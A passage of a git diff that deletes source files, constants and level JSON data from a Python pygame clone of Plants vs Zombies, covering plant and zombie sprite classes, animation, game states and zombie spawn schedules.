if self.vel_y == 0: - if self.map_y == 0: - direc = 1 - elif self.map_y == (c.GRID_Y_LEN-1): - direc = -1 - else: - if random.randint(0, 1) == 0: - direc = 1 - else: - direc = -1 - self.vel_y = self.vel_x * direc - else: - self.vel_y = - self.vel_y - - self.disable_hit_y = map_y - - def animation(self): - if (self.current_time - self.animate_timer) > self.animate_interval: - self.frame_index += 1 - if self.frame_index >= self.frame_num: - self.frame_index = 0 - self.animate_timer = self.current_time - - image = self.frames[self.frame_index] - self.image = pg.transform.rotate(image, self.rotate_degree) - # must keep the center postion of image when rotate - self.rect = self.image.get_rect(center=self.init_rect.center) - -class RedWallNutBowling(Plant): - def __init__(self, x, y): - Plant.__init__(self, x, y, c.REDWALLNUTBOWLING, 1, None) - self.orig_y = y - self.explode_timer = 0 - self.explode_y_range = 1 - self.explode_x_range = c.GRID_X_SIZE - self.init_rect = self.rect.copy() - self.rotate_degree = 0 - self.animate_interval = 200 - self.move_timer = 0 - self.move_interval = 70 - self.vel_x = random.randint(12, 15) - - def loadImages(self, name, scale): - self.idle_frames = [] - self.explode_frames = [] - - idle_name = name - explode_name = name + 'Explode' - - frame_list = [self.idle_frames, self.explode_frames] - name_list = [idle_name, explode_name] - - for i, name in enumerate(name_list): - self.loadFrames(frame_list[i], name, 1, c.WHITE) - - self.frames = self.idle_frames - - def idling(self): - if self.move_timer == 0: - self.move_timer = self.current_time - elif (self.current_time - self.move_timer) >= self.move_interval: - self.rotate_degree = (self.rotate_degree - 30) % 360 - self.init_rect.x += self.vel_x - if self.init_rect.x > c.SCREEN_WIDTH: - self.health = 0 - self.move_timer += self.move_interval - - def attacking(self): - if self.explode_timer == 0: - self.explode_timer = self.current_time - self.changeFrames(self.explode_frames) - elif (self.current_time - self.explode_timer) > 500: - self.health = 0 - - def animation(self): - if (self.current_time - self.animate_timer) > self.animate_interval: - self.frame_index += 1 - if self.frame_index >= self.frame_num: - self.frame_index = 0 - self.animate_timer = self.current_time - - image = self.frames[self.frame_index] - if self.state == c.IDLE: - self.image = pg.transform.rotate(image, self.rotate_degree) - else: - self.image = image - # must keep the center postion of image when rotate - self.rect = self.image.get_rect(center=self.init_rect.center) - - def getPosition(self): - return (self.rect.centerx, self.orig_y) \ No newline at end of file diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/zombie.py b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/zombie.py deleted file mode 100644 index 73780f1391d..00000000000 --- a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/component/zombie.py +++ /dev/null @@ -1,414 +0,0 @@ -__author__ = 'marble_xu' - -import pygame as pg -from .. import tool -from .. import constants as c - -class Zombie(pg.sprite.Sprite): - def __init__(self, x, y, name, health, head_group=None, damage=1): - pg.sprite.Sprite.__init__(self) - - self.name = name - self.frames = [] - self.frame_index = 0 - self.loadImages() - self.frame_num = len(self.frames) - - self.image = self.frames[self.frame_index] - self.rect = self.image.get_rect() - self.rect.centerx = x - self.rect.bottom = y - - self.health = health - self.damage = damage - self.dead = False - self.losHead = False - self.helmet = False - self.head_group = head_group - - self.walk_timer = 0 - self.animate_timer = 0 - self.attack_timer = 0 - self.state = c.WALK - self.animate_interval = 150 - self.ice_slow_ratio = 1 - self.ice_slow_timer = 0 - self.hit_timer = 0 - self.speed = 1 - self.freeze_timer = 0 - self.is_hypno = False # the zombie is hypo and attack other zombies when it ate a HypnoShroom - - def loadFrames(self, frames, name, image_x, colorkey=c.BLACK): - frame_list = tool.GFX[name] - rect = frame_list[0].get_rect() - width, height = rect.w, rect.h - width -= image_x - - for frame in frame_list: - frames.append(tool.get_image(frame, image_x, 0, width, height, colorkey)) - - def update(self, game_info): - self.current_time = game_info[c.CURRENT_TIME] - self.handleState() - self.updateIceSlow() - self.animation() - - def handleState(self): - if self.state == c.WALK: - self.walking() - elif self.state == c.ATTACK: - self.attacking() - elif self.state == c.DIE: - self.dying() - elif self.state == c.FREEZE: - self.freezing() - - def walking(self): - if self.health <= 0: - self.setDie() - elif self.health <= c.LOSTHEAD_HEALTH and not self.losHead: - self.changeFrames(self.losthead_walk_frames) - self.setLostHead() - elif self.health <= c.NORMAL_HEALTH and self.helmet: - self.changeFrames(self.walk_frames) - self.helmet = False - if self.name == c.NEWSPAPER_ZOMBIE: - self.speed = 2 - - if (self.current_time - self.walk_timer) > (c.ZOMBIE_WALK_INTERVAL * self.getTimeRatio()): - self.walk_timer = self.current_time - if self.is_hypno: - self.rect.x += self.speed - else: - self.rect.x -= self.speed - - def attacking(self): - if self.health <= 0: - self.setDie() - elif self.health <= c.LOSTHEAD_HEALTH and not self.losHead: - self.changeFrames(self.losthead_attack_frames) - self.setLostHead() - elif self.health <= c.NORMAL_HEALTH and self.helmet: - self.changeFrames(self.attack_frames) - self.helmet = False - if (self.current_time - self.attack_timer) > (c.ATTACK_INTERVAL * self.getTimeRatio()): - if self.prey.health > 0: - if self.prey_is_plant: - self.prey.setDamage(self.damage, self) - else: - self.prey.setDamage(self.damage) - self.attack_timer = self.current_time - - if self.prey.health <= 0: - self.prey = None - self.setWalk() - - def dying(self): - pass - - def freezing(self): - if self.health <= 0: - self.setDie() - elif self.health <= c.LOSTHEAD_HEALTH and not self.losHead: - if self.old_state == c.WALK: - self.changeFrames(self.losthead_walk_frames) - else: - self.changeFrames(self.losthead_attack_frames) - self.setLostHead() - if (self.current_time - self.freeze_timer) > c.FREEZE_TIME: - self.setWalk() - - def setLostHead(self): - self.losHead = True - if self.head_group is not None: - self.head_group.add(ZombieHead(self.rect.centerx, self.rect.bottom)) - - def changeFrames(self, frames): - '''change image frames and modify rect position''' - self.frames = frames - self.frame_num = len(self.frames) - self.frame_index = 0 - - bottom = self.rect.bottom - centerx = self.rect.centerx - self.image = self.frames[self.frame_index] - self.rect = self.image.get_rect() - self.rect.bottom = bottom - self.rect.centerx = centerx - - def animation(self): - if self.state == c.FREEZE: - self.image.set_alpha(192) - return - - if (self.current_time - self.animate_timer) > (self.animate_interval * self.getTimeRatio()): - self.frame_index += 1 - if self.frame_index >= self.frame_num: - if self.state == c.DIE: - self.kill() - return - self.frame_index = 0 - self.animate_timer = self.current_time - - self.image = self.frames[self.frame_index] - if self.is_hypno: - self.image = pg.transform.flip(self.image, True, False) - if(self.current_time - self.hit_timer) >= 200: - self.image.set_alpha(255) - else: - self.image.set_alpha(192) - - def getTimeRatio(self): - return self.ice_slow_ratio - - def setIceSlow(self): - '''when get a ice bullet damage, slow the attack or walk speed of the zombie''' - self.ice_slow_timer = self.current_time - self.ice_slow_ratio = 2 - - def updateIceSlow(self): - if self.ice_slow_ratio > 1: - if (self.current_time - self.ice_slow_timer) > c.ICE_SLOW_TIME: - self.ice_slow_ratio = 1 - - def setDamage(self, damage, ice=False): - self.health -= damage - self.hit_timer = self.current_time - if ice: - self.setIceSlow() - - def setWalk(self): - self.state = c.WALK - self.animate_interval = 150 - - if self.helmet: - self.changeFrames(self.helmet_walk_frames) - elif self.losHead: - self.changeFrames(self.losthead_walk_frames) - else: - self.changeFrames(self.walk_frames) - - def setAttack(self, prey, is_plant=True): - self.prey = prey # prey can be plant or other zombies - self.prey_is_plant = is_plant - self.state = c.ATTACK - self.attack_timer = self.current_time - self.animate_interval = 100 - - if self.helmet: - self.changeFrames(self.helmet_attack_frames) - elif self.losHead: - self.changeFrames(self.losthead_attack_frames) - else: - self.changeFrames(self.attack_frames) - - def setDie(self): - self.state = c.DIE - self.animate_interval = 200 - self.changeFrames(self.die_frames) - - def setBoomDie(self): - self.state = c.DIE - self.animate_interval = 200 - self.changeFrames(self.boomdie_frames) - - def setFreeze(self, ice_trap_image): - self.old_state = self.state - self.state = c.FREEZE - self.freeze_timer = self.current_time - self.ice_trap_image = ice_trap_image - self.ice_trap_rect = ice_trap_image.get_rect() - self.ice_trap_rect.centerx = self.rect.centerx - self.ice_trap_rect.bottom = self.rect.bottom - - def drawFreezeTrap(self, surface): - if self.state == c.FREEZE: - surface.blit(self.ice_trap_image, self.ice_trap_rect) - - def setHypno(self): - self.is_hypno = True - self.setWalk() - -class ZombieHead(Zombie): - def __init__(self, x, y): - Zombie.__init__(self, x, y, c.ZOMBIE_HEAD, 0) - self.state = c.DIE - - def loadImages(self): - self.die_frames = [] - die_name = self.name - self.loadFrames(self.die_frames, die_name, 0) - self.frames = self.die_frames - - def setWalk(self): - self.animate_interval = 100 - -class NormalZombie(Zombie): - def __init__(self, x, y, head_group): - Zombie.__init__(self, x, y, c.NORMAL_ZOMBIE, c.NORMAL_HEALTH, head_group) - - def loadImages(self): - self.walk_frames = [] - self.attack_frames = [] - self.losthead_walk_frames = [] - self.losthead_attack_frames = [] - self.die_frames = [] - self.boomdie_frames = [] - - walk_name = self.name - attack_name = self.name + 'Attack' - losthead_walk_name = self.name + 'LostHead' - losthead_attack_name = self.name + 'LostHeadAttack' - die_name = self.name + 'Die' - boomdie_name = c.BOOMDIE - - frame_list = [self.walk_frames, self.attack_frames, self.losthead_walk_frames, - self.losthead_attack_frames, self.die_frames, self.boomdie_frames] - name_list = [walk_name, attack_name, losthead_walk_name, - losthead_attack_name, die_name, boomdie_name] - - for i, name in enumerate(name_list): - self.loadFrames(frame_list[i], name, tool.ZOMBIE_RECT[name]['x']) - - self.frames = self.walk_frames - -class ConeHeadZombie(Zombie): - def __init__(self, x, y, head_group): - Zombie.__init__(self, x, y, c.CONEHEAD_ZOMBIE, c.CONEHEAD_HEALTH, head_group) - self.helmet = True - - def loadImages(self): - self.helmet_walk_frames = [] - self.helmet_attack_frames = [] - self.walk_frames = [] - self.attack_frames = [] - self.losthead_walk_frames = [] - self.losthead_attack_frames = [] - self.die_frames = [] - self.boomdie_frames = [] - - helmet_walk_name = self.name - helmet_attack_name = self.name + 'Attack' - walk_name = c.NORMAL_ZOMBIE - attack_name = c.NORMAL_ZOMBIE + 'Attack' - losthead_walk_name = c.NORMAL_ZOMBIE + 'LostHead' - losthead_attack_name = c.NORMAL_ZOMBIE + 'LostHeadAttack' - die_name = c.NORMAL_ZOMBIE + 'Die' - boomdie_name = c.BOOMDIE - - frame_list = [self.helmet_walk_frames, self.helmet_attack_frames, - self.walk_frames, self.attack_frames, self.losthead_walk_frames, - self.losthead_attack_frames, self.die_frames, self.boomdie_frames] - name_list = [helmet_walk_name, helmet_attack_name, - walk_name, attack_name, losthead_walk_name, - losthead_attack_name, die_name, boomdie_name] - - for i, name in enumerate(name_list): - self.loadFrames(frame_list[i], name, tool.ZOMBIE_RECT[name]['x']) - - self.frames = self.helmet_walk_frames - -class BucketHeadZombie(Zombie): - def __init__(self, x, y, head_group): - Zombie.__init__(self, x, y, c.BUCKETHEAD_ZOMBIE, c.BUCKETHEAD_HEALTH, head_group) - self.helmet = True - - def loadImages(self): - self.helmet_walk_frames = [] - self.helmet_attack_frames = [] - self.walk_frames = [] - self.attack_frames = [] - self.losthead_walk_frames = [] - self.losthead_attack_frames = [] - self.die_frames = [] - self.boomdie_frames = [] - - helmet_walk_name = self.name - helmet_attack_name = self.name + 'Attack' - walk_name = c.NORMAL_ZOMBIE - attack_name = c.NORMAL_ZOMBIE + 'Attack' - losthead_walk_name = c.NORMAL_ZOMBIE + 'LostHead' - losthead_attack_name = c.NORMAL_ZOMBIE + 'LostHeadAttack' - die_name = c.NORMAL_ZOMBIE + 'Die' - boomdie_name = c.BOOMDIE - - frame_list = [self.helmet_walk_frames, self.helmet_attack_frames, - self.walk_frames, self.attack_frames, self.losthead_walk_frames, - self.losthead_attack_frames, self.die_frames, self.boomdie_frames] - name_list = [helmet_walk_name, helmet_attack_name, - walk_name, attack_name, losthead_walk_name, - losthead_attack_name, die_name, boomdie_name] - - for i, name in enumerate(name_list): - self.loadFrames(frame_list[i], name, tool.ZOMBIE_RECT[name]['x']) - - self.frames = self.helmet_walk_frames - -class FlagZombie(Zombie): - def __init__(self, x, y, head_group): - Zombie.__init__(self, x, y, c.FLAG_ZOMBIE, c.FLAG_HEALTH, head_group) - - def loadImages(self): - self.walk_frames = [] - self.attack_frames = [] - self.losthead_walk_frames = [] - self.losthead_attack_frames = [] - self.die_frames = [] - self.boomdie_frames = [] - - walk_name = self.name - attack_name = self.name + 'Attack' - losthead_walk_name = self.name + 'LostHead' - losthead_attack_name = self.name + 'LostHeadAttack' - die_name = c.NORMAL_ZOMBIE + 'Die' - boomdie_name = c.BOOMDIE - - frame_list = [self.walk_frames, self.attack_frames, self.losthead_walk_frames, - self.losthead_attack_frames, self.die_frames, self.boomdie_frames] - name_list = [walk_name, attack_name, losthead_walk_name, - losthead_attack_name, die_name, boomdie_name] - - for i, name in enumerate(name_list): - self.loadFrames(frame_list[i], name, tool.ZOMBIE_RECT[name]['x']) - - self.frames = self.walk_frames - -class NewspaperZombie(Zombie): - def __init__(self, x, y, head_group): - Zombie.__init__(self, x, y, c.NEWSPAPER_ZOMBIE, c.NEWSPAPER_HEALTH, head_group) - self.helmet = True - - def loadImages(self): - self.helmet_walk_frames = [] - self.helmet_attack_frames = [] - self.walk_frames = [] - self.attack_frames = [] - self.losthead_walk_frames = [] - self.losthead_attack_frames = [] - self.die_frames = [] - self.boomdie_frames = [] - - helmet_walk_name = self.name - helmet_attack_name = self.name + 'Attack' - walk_name = self.name + 'NoPaper' - attack_name = self.name + 'NoPaperAttack' - losthead_walk_name = self.name + 'LostHead' - losthead_attack_name = self.name + 'LostHeadAttack' - die_name = self.name + 'Die' - boomdie_name = c.BOOMDIE - - frame_list = [self.helmet_walk_frames, self.helmet_attack_frames, - self.walk_frames, self.attack_frames, self.losthead_walk_frames, - self.losthead_attack_frames, self.die_frames, self.boomdie_frames] - name_list = [helmet_walk_name, helmet_attack_name, - walk_name, attack_name, losthead_walk_name, - losthead_attack_name, die_name, boomdie_name] - - for i, name in enumerate(name_list): - if name == c.BOOMDIE: - color = c.BLACK - else: - color = c.WHITE - self.loadFrames(frame_list[i], name, tool.ZOMBIE_RECT[name]['x'], color) - - self.frames = self.helmet_walk_frames \ No newline at end of file diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/constants.py b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/constants.py deleted file mode 100644 index 0c4e2b6ebb3..00000000000 --- a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/constants.py +++ /dev/null @@ -1,180 +0,0 @@ -__author__ = 'marble_xu' - -START_LEVEL_NUM = 1 - -ORIGINAL_CAPTION = 'Plant VS Zombies Game' - -SCREEN_WIDTH = 800 -SCREEN_HEIGHT = 600 -SCREEN_SIZE = (SCREEN_WIDTH, SCREEN_HEIGHT) - -GRID_X_LEN = 9 -GRID_Y_LEN = 5 -GRID_X_SIZE = 80 -GRID_Y_SIZE = 100 - - -WHITE = (255, 255, 255) -NAVYBLUE = ( 60, 60, 100) -SKY_BLUE = ( 39, 145, 251) -BLACK = ( 0, 0, 0) -LIGHTYELLOW = (234, 233, 171) -RED = (255, 0, 0) -PURPLE = (255, 0, 255) -GOLD = (255, 215, 0) -GREEN = ( 0, 255, 0) - -SIZE_MULTIPLIER = 1.3 - -#GAME INFO DICTIONARY KEYS -CURRENT_TIME = 'current time' -LEVEL_NUM = 'level num' - -#STATES FOR ENTIRE GAME -MAIN_MENU = 'main menu' -LOAD_SCREEN = 'load screen' -GAME_LOSE = 'game los' -GAME_VICTORY = 'game victory' -LEVEL = 'level' - -MAIN_MENU_IMAGE = 'MainMenu' -OPTION_ADVENTURE = 'Adventure' -GAME_LOOSE_IMAGE = 'GameLoose' -GAME_VICTORY_IMAGE = 'GameVictory' - -#MAP COMPONENTS -BACKGROUND_NAME = 'Background' -BACKGROUND_TYPE = 'background_type' -INIT_SUN_NAME = 'init_sun_value' -ZOMBIE_LIST = 'zombie_list' - -MAP_EMPTY = 0 -MAP_EXIST = 1 - -BACKGROUND_OFFSET_X = 220 -MAP_OFFSET_X = 35 -MAP_OFFSET_Y = 100 - -#MENUBAR -CHOOSEBAR_TYPE = 'choosebar_type' -CHOOSEBAR_STATIC = 0 -CHOOSEBAR_MOVE = 1 -CHOSSEBAR_BOWLING = 2 -MENUBAR_BACKGROUND = 'ChooserBackground' -MOVEBAR_BACKGROUND = 'MoveBackground' -PANEL_BACKGROUND = 'PanelBackground' -START_BUTTON = 'StartButton' -CARD_POOL = 'card_pool' - -MOVEBAR_CARD_FRESH_TIME = 6000 -CARD_MOVE_TIME = 60 - -#PLANT INFO -PLANT_IMAGE_RECT = 'plant_image_rect' -CAR = 'car' -SUN = 'Sun' -SUNFLOWER = 'SunFlower' -PEASHOOTER = 'Peashooter' -SNOWPEASHOOTER = 'SnowPea' -WALLNUT = 'WallNut' -CHERRYBOMB = 'CherryBomb' -THREEPEASHOOTER = 'Threepeater' -REPEATERPEA = 'RepeaterPea' -CHOMPER = 'Chomper' -CHERRY_BOOM_IMAGE = 'Boom' -PUFFSHROOM = 'PuffShroom' -POTATOMINE = 'PotatoMine' -SQUASH = 'Squash' -SPIKEWEED = 'Spikeweed' -JALAPENO = 'Jalapeno' -SCAREDYSHROOM = 'ScaredyShroom' -SUNSHROOM = 'SunShroom' -ICESHROOM = 'IceShroom' -HYPNOSHROOM = 'HypnoShroom' -WALLNUTBOWLING = 'WallNutBowling' -REDWALLNUTBOWLING = 'RedWallNutBowling' - -PLANT_HEALTH = 5 -WALLNUT_HEALTH = 30 -WALLNUT_CRACKED1_HEALTH = 20 -WALLNUT_CRACKED2_HEALTH = 10 -WALLNUT_BOWLING_DAMAGE = 10 - -PRODUCE_SUN_INTERVAL = 7000 -FLOWER_SUN_INTERVAL = 22000 -SUN_LIVE_TIME = 7000 -SUN_VALUE = 25 - -ICE_SLOW_TIME = 2000 - -FREEZE_TIME = 7500 -ICETRAP = 'IceTrap' - -#PLANT CARD INFO -CARD_SUNFLOWER = 'card_sunflower' -CARD_PEASHOOTER = 'card_peashooter' -CARD_SNOWPEASHOOTER = 'card_snowpea' -CARD_WALLNUT = 'card_wallnut' -CARD_CHERRYBOMB = 'card_cherrybomb' -CARD_THREEPEASHOOTER = 'card_threepeashooter' -CARD_REPEATERPEA = 'card_repeaterpea' -CARD_CHOMPER = 'card_chomper' -CARD_PUFFSHROOM = 'card_puffshroom' -CARD_POTATOMINE = 'card_potatomine' -CARD_SQUASH = 'card_squash' -CARD_SPIKEWEED = 'card_spikeweed' -CARD_JALAPENO = 'card_jalapeno' -CARD_SCAREDYSHROOM = 'card_scaredyshroom' -CARD_SUNSHROOM = 'card_sunshroom' -CARD_ICESHROOM = 'card_iceshroom' -CARD_HYPNOSHROOM = 'card_hypnoshroom' -CARD_REDWALLNUT = 'card_redwallnut' - -#BULLET INFO -BULLET_PEA = 'PeaNormal' -BULLET_PEA_ICE = 'PeaIce' -BULLET_MUSHROOM = 'BulletMushRoom' -BULLET_DAMAGE_NORMAL = 1 - -#ZOMBIE INFO -ZOMBIE_IMAGE_RECT = 'zombie_image_rect' -ZOMBIE_HEAD = 'ZombieHead' -NORMAL_ZOMBIE = 'Zombie' -CONEHEAD_ZOMBIE = 'ConeheadZombie' -BUCKETHEAD_ZOMBIE = 'BucketheadZombie' -FLAG_ZOMBIE = 'FlagZombie' -NEWSPAPER_ZOMBIE = 'NewspaperZombie' -BOOMDIE = 'BoomDie' - -LOSTHEAD_HEALTH = 5 -NORMAL_HEALTH = 10 -FLAG_HEALTH = 15 -CONEHEAD_HEALTH = 20 -BUCKETHEAD_HEALTH = 30 -NEWSPAPER_HEALTH = 15 - -ATTACK_INTERVAL = 1000 -ZOMBIE_WALK_INTERVAL = 70 - -ZOMBIE_START_X = SCREEN_WIDTH + 50 - -#STATE -IDLE = 'idle' -FLY = 'fly' -EXPLODE = 'explode' -ATTACK = 'attack' -ATTACKED = 'attacked' -DIGEST = 'digest' -WALK = 'walk' -DIE = 'die' -CRY = 'cry' -FREEZE = 'freeze' -SLEEP = 'sleep' - -#LEVEL STATE -CHOOSE = 'choose' -PLAY = 'play' - -#BACKGROUND -BACKGROUND_DAY = 0 -BACKGROUND_NIGHT = 1 \ No newline at end of file diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/entity/plant.json b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/entity/plant.json deleted file mode 100644 index a790f7c04f0..00000000000 --- a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/entity/plant.json +++ /dev/null @@ -1,14 +0,0 @@ -{ - "plant_image_rect":{ - "PeaNormal":{"x":28, "y":0, "width":28, "height":34}, - "PeaIce":{"x":26, "y":0, "width":30, "height":34}, - "Chomper":{"x":0, "y":0, "width":100, "height":114}, - "PuffShroom":{"x":0, "y":28, "width":35, "height":38}, - "PuffShroomSleep":{"x":1, "y":0, "width":39, "height":65}, - "BulletMushRoom":{"x":0, "y":1, "width":55, "height":21}, - "PotatoMine":{"x":0, "y":0, "width":75, "height":55}, - "Squash":{"x":10, "y":140, "width":80, "height":86}, - "SquashAim":{"x":10, "y":140, "width":80, "height":86}, - "Spikeweed":{"x":3, "y":0, "width":80, "height":35} - } -} \ No newline at end of file diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/entity/zombie.json b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/entity/zombie.json deleted file mode 100644 index bbc81fba239..00000000000 --- a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/entity/zombie.json +++ /dev/null @@ -1,25 +0,0 @@ -{ - "zombie_image_rect":{ - "Zombie":{"x":62, "width":90}, - "ZombieAttack":{"x":62, "width":90}, - "ZombieLostHead":{"x":62, "width":90}, - "ZombieLostHeadAttack":{"x":62, "width":90}, - "ZombieDie":{"x":0, "width":164}, - "BoomDie":{"x":68, "width":80}, - "ConeheadZombie":{"x":80, "width":80}, - "ConeheadZombieAttack":{"x":79, "width":87}, - "BucketheadZombie":{"x":54, "width":90}, - "BucketheadZombieAttack":{"x":46, "width":90}, - "FlagZombie":{"x":56, "width":110}, - "FlagZombieAttack":{"x":60, "width":100}, - "FlagZombieLostHead":{"x":55, "width":110}, - "FlagZombieLostHeadAttack":{"x":55, "width":110}, - "NewspaperZombie":{"x":48, "width":92}, - "NewspaperZombieAttack":{"x":48, "width":92}, - "NewspaperZombieNoPaper":{"x":40, "width":98}, - "NewspaperZombieNoPaperAttack":{"x":48, "width":92}, - "NewspaperZombieLostHead":{"x":44, "width":96}, - "NewspaperZombieLostHeadAttack":{"x":48, "width":92}, - "NewspaperZombieDie":{"x":0, "width":100} - } -} \ No newline at end of file diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/map/level_0.json b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/map/level_0.json deleted file mode 100644 index c22fd757ca9..00000000000 --- a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/map/level_0.json +++ /dev/null @@ -1,7 +0,0 @@ -{ - "background_type":0, - "init_sun_value":500, - "zombie_list":[ - {"time":1000, "map_y":2, "name":"Zombie"} - ] -} \ No newline at end of file diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/map/level_1.json b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/map/level_1.json deleted file mode 100644 index 59801a4dbb6..00000000000 --- a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/map/level_1.json +++ /dev/null @@ -1,19 +0,0 @@ -{ - "background_type":0, - "init_sun_value":50, - "zombie_list":[ - {"time":20000, "map_y":0, "name":"Zombie"}, - {"time":40000, "map_y":2, "name":"FlagZombie"}, - {"time":50000, "map_y":4, "name":"Zombie"}, - {"time":70000, "map_y":3, "name":"Zombie"}, - {"time":72000, "map_y":1, "name":"FlagZombie"}, - {"time":74000, "map_y":2, "name":"Zombie"}, - {"time":90000, "map_y":0, "name":"Zombie"}, - {"time":91000, "map_y":1, "name":"FlagZombie"}, - {"time":92000, "map_y":2, "name":"Zombie"}, - {"time":93000, "map_y":3, "name":"FlagZombie"}, - {"time":94000, "map_y":0, "name":"Zombie"}, - {"time":95000, "map_y":4, "name":"FlagZombie"}, - {"time":96000, "map_y":1, "name":"Zombie"} - ] -} \ No newline at end of file diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/map/level_2.json b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/map/level_2.json deleted file mode 100644 index b3d9170dc4d..00000000000 --- a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/map/level_2.json +++ /dev/null @@ -1,19 +0,0 @@ -{ - "background_type":0, - "init_sun_value":50, - "zombie_list":[ - {"time":20000, "map_y":0, "name":"Zombie"}, - {"time":40000, "map_y":2, "name":"FlagZombie"}, - {"time":50000, "map_y":4, "name":"ConeheadZombie"}, - {"time":70000, "map_y":3, "name":"ConeheadZombie"}, - {"time":72000, "map_y":1, "name":"FlagZombie"}, - {"time":74000, "map_y":2, "name":"ConeheadZombie"}, - {"time":90000, "map_y":0, "name":"FlagZombie"}, - {"time":91000, "map_y":1, "name":"ConeheadZombie"}, - {"time":92000, "map_y":2, "name":"Zombie"}, - {"time":93000, "map_y":3, "name":"ConeheadZombie"}, - {"time":94000, "map_y":0, "name":"Zombie"}, - {"time":95000, "map_y":4, "name":"FlagZombie"}, - {"time":96000, "map_y":1, "name":"ConeheadZombie"} - ] -} \ No newline at end of file diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/map/level_3.json b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/map/level_3.json deleted file mode 100644 index 04ad595ba61..00000000000 --- a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/map/level_3.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "background_type":1, - "init_sun_value":50, - "zombie_list":[ - {"time":20000, "map_y":0, "name":"Zombie"}, - {"time":40000, "map_y":2, "name":"ConeheadZombie"}, - {"time":50000, "map_y":4, "name":"BucketheadZombie"}, - {"time":70000, "map_y":3, "name":"BucketheadZombie"}, - {"time":72000, "map_y":1, "name":"FlagZombie"}, - {"time":74000, "map_y":2, "name":"ConeheadZombie"}, - {"time":90000, "map_y":0, "name":"BucketheadZombie"}, - {"time":91000, "map_y":1, "name":"ConeheadZombie"}, - {"time":92000, "map_y":2, "name":"Zombie"}, - {"time":93000, "map_y":3, "name":"BucketheadZombie"}, - {"time":94000, "map_y":0, "name":"Zombie"}, - {"time":95000, "map_y":4, "name":"FlagZombie"}, - {"time":96000, "map_y":1, "name":"BucketheadZombie"}, - {"time":97000, "map_y":1, "name":"FlagZombie"} - ] -} diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/map/level_4.json b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/map/level_4.json deleted file mode 100644 index aaa525be687..00000000000 --- a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/map/level_4.json +++ /dev/null @@ -1,41 +0,0 @@ -{ - "background_type":0, - "choosebar_type":1, - "card_pool":[ - {"name":"Peashooter"}, - {"name":"SnowPea"}, - {"name":"WallNut"}, - {"name":"CherryBomb"}, - {"name":"RepeaterPea"}, - {"name":"Chomper"}, - {"name":"PotatoMine"} - ], - "zombie_list":[ - {"time": 1000, "map_y":1, "name":"Zombie"}, - {"time": 6000, "map_y":3, "name":"FlagZombie"}, - {"time":10000, "map_y":0, "name":"ConeheadZombie"}, - {"time":14000, "map_y":2, "name":"NewspaperZombie"}, - {"time":18000, "map_y":4, "name":"BucketheadZombie"}, - {"time":22000, "map_y":0, "name":"Zombie"}, - {"time":26000, "map_y":3, "name":"BucketheadZombie"}, - {"time":30000, "map_y":4, "name":"Zombie"}, - {"time":32000, "map_y":3, "name":"NewspaperZombie"}, - {"time":34000, "map_y":1, "name":"FlagZombie"}, - {"time":36000, "map_y":2, "name":"ConeheadZombie"}, - {"time":38000, "map_y":0, "name":"BucketheadZombie"}, - {"time":40000, "map_y":1, "name":"ConeheadZombie"}, - {"time":42000, "map_y":1, "name":"NewspaperZombie"}, - {"time":60000, "map_y":4, "name":"Zombie"}, - {"time":61000, "map_y":3, "name":"NewspaperZombie"}, - {"time":62000, "map_y":1, "name":"FlagZombie"}, - {"time":63000, "map_y":2, "name":"Zombie"}, - {"time":64000, "map_y":0, "name":"BucketheadZombie"}, - {"time":65000, "map_y":1, "name":"ConeheadZombie"}, - {"time":66000, "map_y":2, "name":"Zombie"}, - {"time":67000, "map_y":4, "name":"BucketheadZombie"}, - {"time":68000, "map_y":3, "name":"NewspaperZombie"}, - {"time":69000, "map_y":1, "name":"FlagZombie"}, - {"time":70000, "map_y":4, "name":"BucketheadZombie"}, - {"time":71000, "map_y":0, "name":"FlagZombie"} - ] -} \ No newline at end of file diff --git a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/map/level_5.json b/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/map/level_5.json deleted file mode 100644 index 343c68b9970..00000000000 --- a/Add Code Here/PYTHON/PythonPlantsVsZombies-master/source/data/map/level_5.json +++ /dev/null @@ -1,33 +0,0 @@ -{ - "background_type":4, - "choosebar_type":2, - "card_pool":[ - {"name":"WallNutBowling"}, - {"name":"RedWallNutBowling"} - ], - "zombie_list":[ - {"time": 1000, "map_y":1, "name":"Zombie"}, - {"time":10000, "map_y":3, "name":"FlagZombie"}, - {"time":12000, "map_y":0, "name":"ConeheadZombie"}, - {"time":14000, "map_y":2, "name":"NewspaperZombie"}, - {"time":18000, "map_y":4, "name":"BucketheadZombie"}, - {"time":22000, "map_y":3, "name":"Zombie"}, - {"time":26000, "map_y":1, "name":"BucketheadZombie"}, - {"time":30000, "map_y":4, "name":"Zombie"}, - {"time":32000, "map_y":3, "name":"NewspaperZombie"}, - {"time":34000, "map_y":1, "name":"FlagZombie"}, - {"time":36000, "map_y":2, 